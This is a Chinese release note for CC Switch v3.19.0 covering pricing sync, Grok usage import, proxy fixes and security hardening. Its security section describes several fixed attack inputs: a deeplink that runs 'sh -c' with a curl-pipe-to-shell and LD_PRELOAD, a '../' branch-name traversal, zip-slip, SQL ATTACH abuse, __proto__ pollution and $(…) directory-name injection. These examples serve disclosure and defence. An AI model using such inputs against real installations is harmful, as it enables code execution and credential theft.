- **把模型定价交给 models.dev 自动维护**:用量面板新增「models.dev 自动定价同步」(默认关闭)。开启后启动时自动刷新所选模型的价格(每 6 小时至多一次),可在完整目录里挑选要跟踪的模型,或让它自动包含各家最新的常用模型。手工改价与删价从本版起会记入 `~/.cc-switch/model-pricing.json`,数据库重建也不丢。
- **看到 Grok 官方模式的用量与订阅余量**Grok CLI 用官方 OAuth 登录时无法走本地代理,此前这部分消耗完全不可见;现在会从会话日志导入逐轮用量,看板里以「Grok Build (Session)」呈现。官方类 Grok Build 供应商卡片还会直接显示 SuperGrok 订阅的额度用量与重置时间。
- **更放心地点开 `ccswitch://` 导入链接**:确认框现在完整展示命令、每个参数、URL 与环境变量(凭据类值脱敏显示),高亮标记值得多看一眼的值——shell 内联执行、改变加载行为的环境变量、内网 / 元数据地址;用量查询脚本会显示完整代码,且**默认以禁用状态导入**。
- **确认 Gemini 供应商里不再夹带别人的密钥**:通用配置共享片段此前会把 `GOOGLE_API_KEY` 等凭据复制进每个使用它的 Gemini 供应商;本版关闭该路径,升级后首次启动自动执行一次性清洗。**凡是进过共享 Gemini 片段的密钥都应视为已暴露,请先轮换再重填**(见「升级提醒」)。
- **在 GitHub 访问不畅时照常更新应用**:应用内更新器优先查询 `https://dl.ccswitch.io/latest.json`Cloudflare R2 镜像),GitHub 作为回落;minisign 签名校验不变,镜像本身不被信任。
- **新建供应商时直接用上最新模型**:预设默认模型升级为 Claude Opus 5、GPT-5.6 Sol 与 Gemini 3.6 Flash,配套定价同步入库;已创建的供应商保持原样。
- **更快导入 fork 密集的 Codex 用量历史**:父 rollout 文件只解析一次、跨全部 fork 点共享,fork 密集的历史重建明显提速,导入结果逐字节不变。
---
## 使用攻略
本版新能力主要落在用量面板与 `ccswitch://` 深链导入上,建议结合以下文档了解:
- **[用量统计](../user-manual/zh/4-proxy/4.4-usage.md)**:用量看板的数据来源与统计口径。本版新增 models.dev 自动定价同步与 Grok 官方模式用量导入。
- **[深链导入(ccswitch://](../user-manual/zh/5-faq/5.3-deeplink.md)**:导入确认框的字段说明与 `usageEnabled` 等参数的默认值(本版起用量脚本默认禁用导入,文档已同步修正)。
- **[安全策略(SECURITY.md](../../SECURITY.md)**:本版补齐了威胁模型与报告范围——哪些输入被视为不可信、哪些问题欢迎报告,一目了然。
---
> [!WARNING]
>
> ## 唯一官方渠道声明(请务必阅读)
>
> CC Switch 是**完全免费、开源**的桌面应用,**不会向用户收取任何费用**。请仅通过下列官方渠道获取本软件:
>
> | 类别 | 唯一官方 |
> | -------- | ------------------------------------------------------------------------------ |
> | 官网 | **[ccswitch.io](https://ccswitch.io)** |
> | 源码 | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | 下载 | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | 作者 | **[@farion1231](https://github.com/farion1231)** |
> | 举报山寨 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **任何向你收费、要求充值、或索取登录凭据的"CC Switch"网站或客户端均为假冒**。如果你被诱导支付了费用,请立即停止操作并通过 GitHub Issues 反馈。
---
## 概览
CC Switch v3.19.0 由一波安全加固与一个代理正确性大修领衔。安全侧([#5811](https://github.com/farion1231/cc-switch/pull/5811) 及后续独立修复):从 GitHub 仓库安装 Skill 加固了 zip-slip 与路径穿越并设归档上限;Gemini 通用配置的密钥泄漏被关闭,升级后首次启动自动执行一次性清洗,把已经泄漏进其它供应商配置的密钥清理干净;导入 SQL 备份改在 SQLite authorizer 下执行,`ATTACH` 等能触及导入库之外的语句一律拒绝;通用配置片段合并不再跟随 `__proto__` 污染全局原型;外部终端启动改用 POSIX 单引号转义,目录名再也注入不了命令;`ccswitch://` 导入确认框完整展示载荷(凭据类值脱敏显示)并标记风险值,用量脚本默认禁用导入。代理侧,工具结果里的图片不再被序列化成工具文本,而是在各转换桥还原为原生媒体上送(文件与音频在两条 Chat 桥上一并支持)——终结了「一张 113 KB 截图吃掉 10 万+ token、两三张图把 Codex 会话卡死在 400 上」的问题([#4465](https://github.com/farion1231/cc-switch/issues/4465)、[#5663](https://github.com/farion1231/cc-switch/issues/5663))。
用量统计获得两块新能力:**models.dev 自动定价同步**(可选开启,[#5734](https://github.com/farion1231/cc-switch/pull/5734)),配套把手工改价 / 删价持久化到人类可编辑的 `~/.cc-switch/model-pricing.json`;以及 **Grok CLI 官方 OAuth 模式的用量导入**——这条流量无法走本地代理,此前完全不可见——外加供应商卡片上的 SuperGrok 订阅配额展示。围绕分发与体验:应用内更新优先走 `dl.ccswitch.io` 的 Cloudflare R2 镜像(GitHub 回落,签名校验不变);Codex 用量导入对 fork 会话重用已解析的父 rollout 时间线([#5626](https://github.com/farion1231/cc-switch/pull/5626));预设默认模型升级为 Claude Opus 5、GPT-5.6 Sol 与 Gemini 3.6 FlashOpenClaw 的 Kimi For Coding 预设修正了 base URL;工具栏应用切换器改为纯图标。本版**没有数据库 schema 迁移**,升级轻量。
**发布日期**2026-07-30
**更新规模**38 commits | 132 files changed | +14,926 / -1,415 lines
---
## 新功能
### models.dev 自动定价同步
用量面板的定价区新增「models.dev 自动定价同步」卡片,**默认关闭、需手动开启**:开启时会有确认说明——CC Switch 将在启动时(每 6 小时至多一次)从 models.dev 刷新所选模型的价格,**同名模型的内置价与手工价都会被覆盖**。「选择模型」对话框提供完整的 models.dev 目录(可搜索筛选),另有「自动包含常用模型」选项,覆盖 Claude、GPT、Gemini、Grok、DeepSeek、Qwen、MiMo、LongCat、Kimi、MiniMax、GLM 各家最近发布的模型(每族至多 6 个,可单独排除)。卡片显示上次同步时间与错误,提供「立即同步」,还能打开或重载本地定价文件。
从本版起,手工改价与删价会同时记入数据库旁边的人类可编辑文件 `~/.cc-switch/model-pricing.json`,每次启动重放——数据库重建后手工定价不再丢失,删掉的内置价也终于能删得掉(以墓碑记录,不再被重新播种)。注意该文件创建时为空、**刻意不从既有定价表回填**(否则内置价会被一并写成覆盖项、挡掉将来的内置价修正),升级前的改价仍只存在数据库里,重存一次即可入文件。同步真的改了价格时,会把**从未算出成本**(零或缺失)的历史用量行按新价补算——已有成本的行保持原值;拉取失败或离线绝不阻塞启动。models.dev 列表还过滤掉了非文本与已弃用的模型(音频 / 图像 / 视频 / embedding 等),手动选价对话框一并清爽了。([#5734](https://github.com/farion1231/cc-switch/pull/5734)
### Grok 官方模式的用量,终于进看板
Grok CLI 用官方 OAuth 登录时无法经本地代理路由——Grok 以空配置作为模式开关,没有地方能把它指向 CC Switch——这部分消耗此前在用量看板里完全不可见。现在 CC Switch 会随常规会话日志同步,从 `~/.grok/sessions`(含归档会话)的 `updates.jsonl` 里按 `turn_completed` 事件导入逐轮用量:成本优先采用 CLI 自己上报的精确数字,缺失时回落本地定价(内置定价表新增 `grok-4.5-build`$2 输入 / $6 输出 / $0.30 缓存读,每百万 token)。导入行以上游逐轮 ID 为键,回卷会话不会造成重复计数;沉淀窗口加近期代理活动检查,确保同一流量在「路由 + 官方」混用时也不会算两次。看板里新行以「Grok Build (Session)」供应商名呈现,应用筛选器新增 Grok Build 选项,数据来源分栏新增「Grok Build Session」条目与专属图标,四语齐全。
### 供应商卡片上的 SuperGrok 订阅配额
类别为「官方」的 Grok Build 供应商,卡片上现在直接显示 SuperGrok 订阅用量——与 Claude Code / Codex / Gemini 的官方订阅页脚并列:CC Switch 读取 Grok CLI 自己的 OAuth 凭据(`~/.grok/auth.json`),查询 grok.com 计费端点获取额度窗口的已用百分比与重置时间;重置间隔可识别时标注为「周」或「月」,否则归入新的「Credits」档(托盘用量摘要中以 `c` 组呈现)。网络瞬断时保留上一次读数并重试,不清空页脚;令牌过期会提示重新 `grok login`。Claude Code、Claude Desktop 与 Codex 里的受管 xAI OAuthSuperGrok)供应商也自动获得同款配额展示——数据来自绑定到该供应商的账号,用量脚本入口随之隐藏。注意 Grok Build 供应商的「官方」判定现在只看 `category` 字段,不再探测配置内容。
### Claude Opus 5 内置定价
`claude-opus-5` 加入内置定价表:$5 输入 / $25 输出、$0.50 缓存读 / $6.25 缓存写(每百万 token),用量不再显示 $0。按「不存在才插入」播种,改过的价格不受影响(Opus 5 fast 模式走独立计费,刻意未入表)。
### 预设目录更新
A6API(同模型多上游自动择优的聚合平台)加入八个应用的赞助商预设;PackyCode 预设在支持备用端点的五类预设(Claude Code / Claude Desktop / Codex / Gemini CLI / Grok Build)上新增三个备用地址,可在地址管理器与测速里选择;AICoding 合作伙伴预设回归七个应用;赞助商排序与 README 重新对齐。
---
## 变更
### 预设默认模型升级:Claude Opus 5、GPT-5.6 Sol、Gemini 3.6 Flash
内置预设的默认模型全面来到当前一代:`claude-opus-5` 替换 `claude-opus-4-8`(三种命名形态全覆盖),`gpt-5.6-sol` 替换 `gpt-5.5` 与裸 `gpt-5.6``gemini-3.6-flash` 替换 `gemini-3.5-flash`。同步更新了所有镜像位置——通用 / NewAPI 默认值、Codex 自定义 `config.toml` 模板、推荐列表、表单占位符与四语文案;`gemini-3.6-flash` 定价同步入库($1.50 / $7.50、缓存读 $0.15,每百万 token)。仍钉在 `gemini-3.1-pro-preview` 的 Code0 与七牛 Gemini 预设一并对齐到 3.6 Flash——这是**有意的档位调整**3.6 没有 Pro 版,3.5 Pro 仍限合作测试。**默认值只影响新建供应商**,已保存的供应商维持创建时的模型;Claude Desktop 的 opus 路由现值前进到 `claude-opus-5``claude-opus-4-8` 转入兼容别名槽,存量配置照常解析。
### 应用内更新改走 ccswitch.io 镜像
更新器现在优先查询 `https://dl.ccswitch.io/latest.json`——发布清单的 Cloudflare R2 镜像——GitHub Releases 作为回落,检查与下载更新不再依赖 GitHub 可达。镜像清单把各平台下载指向同一存储桶,而 minisign 签名保持不动:签名覆盖的是文件内容而非 URL,每个下载产物仍会对着内置公钥校验,**镜像本身始终不被信任**。发布由 release 门控的同步工作流负责,只有当 tag 确为 GitHub 的 `releases/latest` 时才改写根清单,镜像永远不会把用户往回推到旧版本。
### Codex 用量导入:fork 会话提速
导入与重建 Codex 用量统计不再对同一个父 rollout 文件按 fork 点逐次重读:每个父 `~/.codex/sessions/*.jsonl` 只解析一次,生成内存中的 token 时间线,由所有从它 fork 出的子会话共享,各子会话的截断点改为内存过滤。缓存以文件身份戳校验(修改时间、大小,加 Unix 的 device/inode 或 Windows 的卷序列号 + 文件 ID),被追加、轮转或替换的父文件会重读而不是拿到陈旧数据。提速幅度取决于 fork 密度:fork 密集的历史冗余解析大幅减少,fork 稀少的历史基本不变——两种情况下导入结果都逐字节一致。([#5626](https://github.com/farion1231/cc-switch/pull/5626)
### 工具栏应用切换器改为纯图标
切换器按钮不再在图标旁渲染文字标签——受管应用增至八个后,标签本来就几乎总是被溢出检测收起,于是移除了基于 ResizeObserver 的自动紧凑机制,始终只显示图标。应用名保留在悬停提示里,读屏器经 `aria-label` 照常可及。
### 赞助商域名与推荐链接刷新
多家赞助商迁移了域名,预设地址、备用端点、推荐链接与 README 行已同步(PackyCode → `www.packyapi.ai`、RightCode → `www.rightapi.ai`、ClaudeAPI → `www.apito.ai`、APINebula → `apinebula.ai`、AICodeMirror → `.ai`、AICoding → `.inc`、AIGoCode → `.app`),顺带移除了两个已失效的备用端点。**已创建的供应商保留数据库里存的旧地址**——想迁到新域名,手动改地址或从刷新后的预设重建即可。
---
## 修复
### 通过代理读图不再撑爆上下文
客户端经工具调用读取图片时——Codex 的 `view_image`,或任何返回图片的 MCP 工具——代理的协议转换会把整个图片块序列化进工具消息的文本里,上游按纯文本给 base64 计 token:约 9,000 倍的膨胀,一张 113 KB 的 PNG 折算 10 万+ prompt tokenCodex 每轮重放全部历史,两三张截图就足以把会话顶出上下文窗口、卡死在反复的 400 上([#4465](https://github.com/farion1231/cc-switch/issues/4465)、[#5663](https://github.com/farion1231/cc-switch/issues/5663))。
代理现在把媒体载荷从工具结果里提出来、按各桥的原生格式重新上送——**图片全桥覆盖,文件与音频在目标协议支持处生效**:两条 Chat 桥(Claude→Chat、Codex Responses→Chat)承载图片 / 文件 / 音频,工具消息里留下简短标记、媒体作为合成用户消息紧随工具批次之后;Claude→Responses 还原原生 `input_image`Codex / GrokBuild→Anthropic 重建标准 Anthropic 图片块,Claude→Gemini 在 Gemini 3 上用多模态 `functionResponse.parts`(旧型号用 `inlineData`),只接受内联 base64 图片。检测覆盖有类型的 Responses 块、Anthropic `source` 块、MCP `data`+`mimeType` 结果与整串图片 data URL,可穿透数组与嵌套 `content` 包装(含 JSON 编码的工具输出);一旦判定输出含媒体,其中残留的 data URL 与裸 base64 会被折叠成占位——**裸 base64 本身从不触发媒体判定**,普通工具输出原样不动。不含媒体的工具结果在所有桥上保持与之前逐字节一致,prompt 缓存前缀不受影响;上送的媒体块刻意不带 `cache_control` 标记,GLM、Qwen 这类严格上游不会拒收。对 Kimi K3 的端到端实测:同一回放轮稳定在约 12k 输入 token、缓存命中 99%,此前每次重放要背 85k+ 的 base64 文本。
### 「不支持图片回退」现在能看到工具结果里的图
「不支持图片回退」设置会在供应商仅文本或上游拒图时用占位标记替换图片块,但它此前只能看到仍是结构化块的图片——已被打平成 base64 文本的工具结果图片对它不可见,仅文本上游直接失败、无从恢复。媒体清洗器现在在每条路径上对称地检测并剥离工具输出内的媒体,发送前剥离与被拒后重试两条路都能救回这类轮次;由于该检测现在也深入工具结果,一条回归测试钉住了反应式重试仍只对真正的模态拒绝触发——上下文超限的 400 不会被误当拒图去重试。
### Grok Build 成本回填不再高估
补算缺失成本的例程此前只把 Codex 与 Gemini 视为「上报输入 token 已含缓存读」的供应商,而 Grok Build 同属该口径——被回填的 Grok Build 行按全量输入计价、缓存读又计一次,成本虚高。缓存含入式供应商集合现在只定义一处,由路由记录器、成本计算器与回填例程共享,三者不再可能各说各话。注意此前已被旧回填修过的行保持原值——回填只处理零成本行,从不改写已有正成本。
### 手工编辑的配置文件不再让应用崩溃或吞掉编辑
`~/.codex/config.toml``mcp_servers` 存在但不是表(比如 `mcp_servers = "x"`)时,MCP 同步会在切换中途 panic——且发生在数据库与 live 配置都已写入之后,留下半套用的切换;非表值现在先告警再归一为空表,Codex 与 GrokBuild 写入器同步修复。内联表形态(合法 TOML)有镜像问题:MCP 删除静默无效而界面报成功、`base_url` 编辑写到 Codex 根本不读的层级——均已处理。根节点、`provider``mcp` 段是数组 / 标量的 `opencode.json` 不再 panic,这类文件会被报错拒绝而不是重建,你自己的 `model``theme` 设置不会被抹掉。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### 代理转换扛得住畸形上游响应
上游网关的畸形数据此前可能直接干掉本地代理而不是产生错误:Anthropic SSE 流里非对象的 `message``content_block`、缓冲响应体是顶层 JSON 数组或标量(无视 `stream: true` 的网关就返回这种)都会命中 panic 的索引赋值;流现在以正常的失败事件收尾。畸形的 `content_block` 头还会被恢复为文本块——只把它净化成空对象虽止住 panic,却让后续内容全部被静默丢弃、模型看起来什么都没说——由于坏头之后的增量通常是完好的,常见情况现在能通传,替换发生时记一条警告。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### OpenClaw 的 Kimi For Coding 地址修正
OpenClaw 预设此前指向通用平台端点 `https://api.kimi.com/v1`,而 Kimi For Coding 订阅走的不是它,coding 套餐的 key 用不了。地址修正为 `https://api.kimi.com/coding/v1`,表单占位符与默认值同步更新。**从旧预设创建的供应商需手动改到新地址。**
---
## 安全加固
本节九条里,**有两件事需要你动手**:轮换进过 Gemini 通用配置的密钥,以及核对曾经通过 `ccswitch://` 导入的 MCP 条目——「升级提醒」里写明了怎么做。其余的升级即生效,不需要你操作。
如果你从不点开别人发来的 `ccswitch://` 链接,也没用过共享的 Gemini 通用配置,那这九条对你的意义主要是「以后更不容易出事」;如果两条里有一条对得上,**这一版值得优先升级**。
### Gemini 通用配置不再泄漏密钥,升级后自动清洗
Gemini 通用配置提取器此前只从共享片段里剥掉 `GEMINI_API_KEY``GOOGLE_GEMINI_BASE_URL`,其余 `env` 条目原样复制——而 `GOOGLE_API_KEY` 正是 Gemini 的一等凭据,某个账号的 key(连同其它长得像凭据的条目)会被深合并进每一个使用通用配置的 Gemini 供应商,并发往对方的 base URL——那可能是第三方中转。提取器现在跳过一切命中凭据模式的键(与 Claude 提取器同一套匹配器),前端片段校验器同步对齐,手工编辑也塞不回去。由于 Gemini 片段一旦存在就不再重提取,升级后首次启动还会执行**一次性清洗**:把已经泄漏的凭据从片段、从每个被合并到的供应商、从 `~/.gemini/.env` 里清掉——按键名**加值**全等匹配,供应商自己的同名不同值 key 不受牵连——并保留 env 文件的排版与注释。清洗细节与注意事项见「升级提醒」。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### Skill 仓库安装加固:路径穿越与归档上限
从 GitHub 仓库安装或浏览 Skill 此前可能写到目标目录之外:归档条目未经归一就拼上目标路径,带 `..` 的 ZIP 能逃出解压目录(zip-slip);仓库坐标从未校验,`../../../releases/download/v1/evil` 这样的分支名能把下载重定向到任意 release 资产——而 Skill 仓库可经不可信的 `ccswitch://` 深链添加且默认启用,打开 Skills 面板就足以触发下载。来自备份恢复、同步快照与「从应用导入」的 Skill `directory` 值同样未经校验就拼路径,卸载可能 `remove_dir_all` 到受管目录之外。所有落点现在都校验目录名,仓库 owner / 名称 / 分支在唯一下载汇聚点白名单化,解压设硬上限(10,000 条目、写入 512 MB、下载 128 MB、符号链接目标 4 KB,自指链接拒绝),新错误信息四语齐全。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
### 深链导入确认框:看全内容,标记风险
`ccswitch://` 的 MCP 导入确认框此前只渲染一行会被截断的 `Command:``args``url``env` 一概不显示——链接带上 `command: "sh"``args: ["-c", "curl …|sh"]` 和一个 `LD_PRELOAD` 环境变量,显示出来只是一个人畜无害的 `sh`,确认后却被写进各应用的 live MCP 文件。确认框现在把命令、每个参数、URL 与环境变量逐行渲染,换行而非截断,不会有内容被裁掉看不见(键名含 TOKEN / KEY / SECRET / PASSWORD 的 env 值以前缀加星号脱敏显示);值得多看一眼的值会被高亮并汇总进警告块:带内联执行标志的 shell 解释器(含 `bash -lc``cmd /C`、PowerShell `-Command` 缩写等组合形态)、改变进程加载行为的环境变量(`LD_*``DYLD_*``NODE_OPTIONS``PYTHONPATH``PATH`、代理变量等)、指向回环 / 内网 / 云元数据地址的端点。标记纯属提示、从不拦截导入——本地 Ollama 端点是再正常不过的用法。供应商确认框获得同款处理;「将立即写入所有指定应用」的警告改为无条件显示,不再受链接可控字段的门控。
### 深链用量脚本:默认禁用导入,代码先看后用
经深链导入的用量查询脚本是每次查用量都会执行的 JavaScript,此前可能全程没见过代码就被启用:后端把「带了代码」当作「同意执行」,确认框只显示启用 / 禁用徽标、从不显示脚本体。脚本现在**默认禁用**——链接必须显式携带 `usageEnabled=true` 才请求启用——确认框以可滚动、完整换行的代码块显示解码后的全部脚本,并警告启用后将会执行。解码失败时回落显示原始载荷,畸形脚本不可能伪装成「没有脚本」。脚本代码照常存到供应商上,审阅后可在应用内手动开启。
### URL-safe Base64 曾让确认框整块变空
上面两条修的是「确认框显示得不够」,这一条修的是「确认框可以什么都不显示」。后端接受四种 Base64 变体(含 RFC 4648 §5 的 URL-safe 字母表),而前端的 `atob` 只认标准字母表、解不开时**原样返回输入而不报错**——于是同一段载荷,后端解码成功并导入,前端拿到的是一坨解不开的字符。用量脚本与系统提示词因此显示成不透明的 Base64;**MCP 配置最糟:`JSON.parse` 失败被组件吞掉,确认框渲染成「0 个服务器」加一张空列表,而后端照常把真实条目写进 live MCP 文件**。把载荷里一个 `/` 换成 `_` 就够了——确认框变空,导入功能完好,上面两条刚补上的完整展示随之一并失效。
前端解码器现在先归一 URL-safe 字母表再解码,确认框显示的永远与将要导入的一致;共享解码器首次有了单元测试,用例内含前置自检,确保样本真的落在 URL-safe 分支上而不是碰巧两种编码相同。
> 这条缺陷影响 v3.8.0 起的所有版本。若你曾通过 `ccswitch://` 链接导入过 MCP 服务器,建议检查一次——见「升级提醒」。
### SQL 导入拒绝触及导入库之外的语句
导入数据库备份此前只校验文件头注释,之后整段文本直接交给 `execute_batch`——精心构造的备份可以 `ATTACH DATABASE` 在用户可写的任意位置创建 SQLite 文件,且该副作用发生在导入自身的状态校验之前,导入整体失败文件也已落地;WebDAV / S3 同步快照走的是同一条代码路径。现在外部批次执行期间安装 SQLite authorizer(结束立即卸下,应用自身的 schema 维护不受影响):`ATTACH` / `DETACH``VACUUM`、虚表创建(csvfile 这类文件后端模块能读写任意路径)以及一切 SQLite 报告为未知的动作一律拒绝——未来的新语句默认失败;PRAGMA 只放行导出器实际会写的 `foreign_keys``user_version` 两个。
### 通用配置片段的原型污染
应用、移除、比对通用配置片段的三个遍历器此前都会跟着 `__proto__` 走进全局 `Object.prototype``JSON.parse('{"__proto__":{…}}')` 产出的是自有可枚举属性,合并会把攻击者指定的值写上全局原型——而 `settings` 表在同步时会被远端整表覆盖,恶意 WebDAV / S3 快照落地后,打开一次供应商表单就触发合并。三个遍历器现在一律跳过 `__proto__``constructor``prototype`;「已应用通用配置」的比对同时要求自有属性,顺带修掉一个可见怪象——`{"__proto__":{}}` 此前被判定为任何配置的子集。
### 终端启动的目录名命令注入
在外部终端恢复会话时,`cd` 行此前用双引号包裹工作目录、只转义反斜杠和双引号——双引号里 shell 照样展开 `$(…)`、反引号与 `$VAR`,而这个值是 CLI 会话历史里记录的真实项目路径,macOS 上目录名合法地可以包含这些字符。文件夹起了那样的名字,点「恢复」就会在你的终端里执行内嵌命令,全程无需任何被攻破的组件。三个拼 shell 行的启动器——Terminal.app、iTerm、kitty——改用 POSIX 单引号转义,任何内容都不展开(穿过 Terminal / iTerm 所需的 AppleScript 引号层同样安全);Ghostty、WezTerm / Kaku、Alacritty 本就把目录作为独立参数传递,原本安全。
### GrokBuild 凭据解析不再替换或内联环境密钥
GrokBuild 凭据提取此前在配置指定的 `env_key` 变量未设置时回落到进程级 `XAI_API_KEY`——静默替换成另一个账号的 key、发往配置指向的任意 base URL;凭据现在只来自显式的内联 `api_key``env_key` 精确命名的环境变量。深链导入不再把环境变量解析成明文 `api_key`;只带 `env_key` 名字的链接会被拒绝并提示手动添加——照单全收意味着请求时仍会解析受害者的环境密钥、送往链接声明的地址。顺带修复:base URL 解析与凭据解析解耦,此前凭据缺失连 base URL 一起清空,macOSGUI 进程不继承 shell 环境)上界面显示的地址与实际使用的不一致、用量脚本的 `{{baseUrl}}` 展开为空。([#5811](https://github.com/farion1231/cc-switch/pull/5811)
---
## 文档
### 「在 Claude Code 中使用 GPT 模型」攻略补齐英日双语
此前仅有中文的本地路由攻略现已完整移植为英文与日文,端到端覆盖两条接入路径:第三方 OpenAI Responses 网关(API Key),以及 ChatGPT Plus/Pro 订阅经 Codex 设备码 OAuth 登录。两篇路由攻略同时改题为「用什么模型」而非「什么客户端对」——《[在 Claude Code 中使用 GPT 模型](../guides/claude-codex-routing-guide-zh.md)》《[在 Codex 中使用 Claude 模型](../guides/codex-claude-routing-guide-zh.md)》——所有交叉链接(含三语 v3.18.0 release notes)改为指向读者语言的版本。
### 用户手册:深链 `usageEnabled` 默认值修正
三语用户手册的深链参考此前声称 `usageEnabled` 默认为 `true`,实际默认 `false`、与导入器一致。手册现在写明正确默认值,并补充两个推论:导入前确认框会完整显示脚本代码;未显式 `usageEnabled=true` 时脚本以禁用状态导入,可稍后在应用内开启。
### SECURITY.md:威胁模型与报告范围
`SECURITY.md` 补齐双语威胁模型与明确的范围内 / 范围外清单,报告按「谁控制这个输入」而非「值最终到了哪个 API」分诊:内置 WebView 渲染器声明为受信组件(附四条可独立验证的事实与失效触发条件);深链载荷、WebDAV / S3 恢复数据、导入文件、上游 API 响应、本地代理的入站请求全部列为不可信输入、欢迎报告。
---
## 升级提醒
### 本版没有数据库迁移
v3.19.0 不含 schema 迁移(版本号保持 v16),升级即用,无需等待数据重建。
### Gemini 密钥一次性清洗(请读)
升级后首次启动会在常规配置提取前执行一次性的 Gemini 通用配置清洗。**部分 Gemini 供应商随后可能提示缺少 API Key**:条目按凭据型键名加值全等匹配删除,通常删掉的是经共享片段泄漏进来的其它供应商凭据(该供应商自己的原值在泄漏发生时已被覆盖、无法找回)——但**你有意在多个 Gemini 供应商间复用的同值 key 也会被一并移除**。无论哪种情况,请先轮换再重填:**凡是进过共享 Gemini 片段的密钥都应视为已暴露**。删除的键名与受影响的供应商 id(绝不含值)记录在 `settings` 表的 `gemini_common_config_scrub_audit_v1` 下,可据此逐一定位需要重新填写密钥的供应商。
### 曾用深链导入过 MCP?建议检查一次(请读)
本版之前,`ccswitch://` 的 MCP 导入确认框可能**显示不出即将写入的内容**:参数与环境变量一概不渲染(`command: "sh"``args: ["-c", …]` 显示成一个无害的 `sh`),若载荷用 URL-safe Base64 编码,则整个列表显示成「0 个服务器」——而后端两种情况都照常把条目写进各应用的 live MCP 文件。这两条缺陷影响 **v3.8.0 起的所有版本**,本版一并修复。
利用需要你亲自打开攻击者提供的链接并点「导入」,因此绝大多数用户不受影响。**如果你确实从不完全信任的来源打开过 `ccswitch://` MCP 导入链接**,建议在 MCP 面板逐条核对,或直接检查 `~/.claude.json``mcpServers`Codex 见 `~/.codex/config.toml``mcp_servers`),确认没有你不认识的条目——MCP 服务器会在 CLI 下次启动时作为子进程执行。
### 深链用量脚本默认禁用
携带用量查询脚本的深链现在默认以禁用状态导入,除非链接显式携带 `usageEnabled=true`。依赖自动启用的链接(例如部分合作伙伴的一键配置链接)会导入脚本但不开启用量查询——审阅代码后在供应商编辑器里手动开启即可。应用内手工配置的用量脚本不受影响。
### 新默认模型只影响新建供应商
已保存的供应商维持创建时的模型 ID,想用新模型需手动编辑。Claude Desktop 的 opus 路由现值前进到 `claude-opus-5``claude-opus-4-8` 移入兼容别名槽,存量配置照常解析。
### 定价播种与本地定价文件
新定价行(`claude-opus-5``gemini-3.6-flash``grok-4.5-build`)在下次启动按「不存在才插入」追加——**播种绝不覆盖你改过的价格**。`~/.cc-switch/model-pricing.json` 创建时为空,只记录本版之后的手工改价与删价——更早的改价不会迁入,想让它们扛住数据库重建,重存一次即可。models.dev 自动同步保持关闭直到你手动开启;一旦开启,它是唯一会覆盖同名价格(内置与手工皆然)的路径。
### GrokBuild 隐式环境变量回落已移除
依赖隐式 `XAI_API_KEY` 环境回落的 GrokBuild 供应商,现在需要显式的 `api_key` 或正确命名的 `env_key`
### Grok 官方模式用量有意延迟
官方模式的 Grok 用量会延迟约十分钟加一个同步周期出现——事件先沉淀、再与代理记录的行核对防止双计;若路由流量与官方流量在窗口内交替,部分官方轮会被跳过而不是冒险重复计数。被旧成本回填高估过的 Grok Build 行保持原值——回填只处理零成本行,从不修订已有正成本。
### 更新镜像自下个版本起生效
更新器端点列表内置在应用二进制里,现有安装在升级到含本改动的版本之前仍然只查 GitHub;此后优先 `dl.ccswitch.io` 镜像、GitHub 回落。
### 赞助商域名迁移不改存量供应商
已创建的供应商保留数据库中存储的旧地址,仍指向旧域名。想迁到新域名,手动修改供应商地址,或从刷新后的预设重新创建。
---
## 风险提示
### SuperGrok 配额查询(本版新增)
供应商卡片的 SuperGrok 配额展示会读取 Grok CLI 自己的 OAuth 凭据(`~/.grok/auth.json`)并查询 grok.com 的计费端点——该端点并非公开文档化接口,其响应解析基于对现有格式的观察,xAI 调整接口后此功能可能失效(届时卡片降级为不显示配额,其余功能不受影响)。CC Switch 不会存储或修改这些凭据。
### 沿用的提示
**xAI Grok OAuth 登录**:复用官方 Grok CLI 的公开 OAuth 客户端身份,使用可能导致账号被限制或封禁——详见 [v3.18.0 release notes](v3.18.0-zh.md#风险提示)。
**Codex OAuth 反向代理**:使用 ChatGPT 订阅的 Codex OAuth 反代可能违反 OpenAI 服务条款,详情见 [v3.13.0 release notes](v3.13.0-zh.md#-风险提示)。
**第三方供应商路由**:通过 CC Switch 本地代理把 Codex、Claude Desktop 或 Grok Build 的请求转换并转发到第三方供应商时,各供应商对计费、合规与数据留存的约束不同,请在使用前阅读目标供应商的服务条款。
用户启用上述功能即表示自行承担相关风险。CC Switch 不对因使用这些功能而导致的任何账号限制、警告或服务暂停承担责任。
---
## 致谢
这一版的安全加固几乎全部来自外部——一个 PR,加上收到的安全报告。
### 代码贡献
- [#5811](https://github.com/farion1231/cc-switch/pull/5811)Skill 安装的 zip-slip 与仓库坐标穿越、Gemini 通用配置密钥泄漏与一次性清洗、GrokBuild 凭据解析、多处 panic 路径修复,感谢 @zayokami。这是本版单个来源里覆盖面最广的一份工作。
- [#5734](https://github.com/farion1231/cc-switch/pull/5734)models.dev 自动定价同步,感谢 @YUZHEthefool
- [#5626](https://github.com/farion1231/cc-switch/pull/5626)Codex fork 会话用量导入提速,感谢 @ayanamislover(与 @SaladDay 共同署名)。
### 安全报告
本版「安全加固」里的四条修复来自私下发来的安全报告。感谢 **23pds**SlowMist 慢雾)与 **zues devil**——逐条归属如下:
- **深链导入确认框只显示一行会被截断的 `Command:`**——`args``url``env` 一概不渲染,`sh -c``LD_PRELOAD` 的载荷在界面上看起来只是一个 `sh`。这是本版影响面最大的一条。(23pds,SlowMist
- **导入 SQL 备份未受约束**——`ATTACH DATABASE` 能在用户可写的任意位置创建文件,且副作用发生在导入自身的校验之前。(zues devil)
- **外部终端启动的目录名命令注入**——`cd` 行用双引号包裹,`$(…)` 照常展开,而这个值是会话历史里记录的真实项目路径。(zues devil 与 23pds 各自独立报告,分别指向内置启动器与自定义模板两条路径)
- **通用配置片段合并的原型污染**——三个遍历器都会跟着 `__proto__` 走进全局 `Object.prototype`。(23pdsSlowMist
报告同时促使我们补齐了 [SECURITY.md](../../SECURITY.md) 的威胁模型与报告范围——在此之前,这个项目只写了怎么报告,没写什么算漏洞。
其余两条深链修复(用量脚本默认禁用、URL-safe Base64 绕过)是在审查上述修复本身时发现的,不在原始报告内。
### 问题反馈
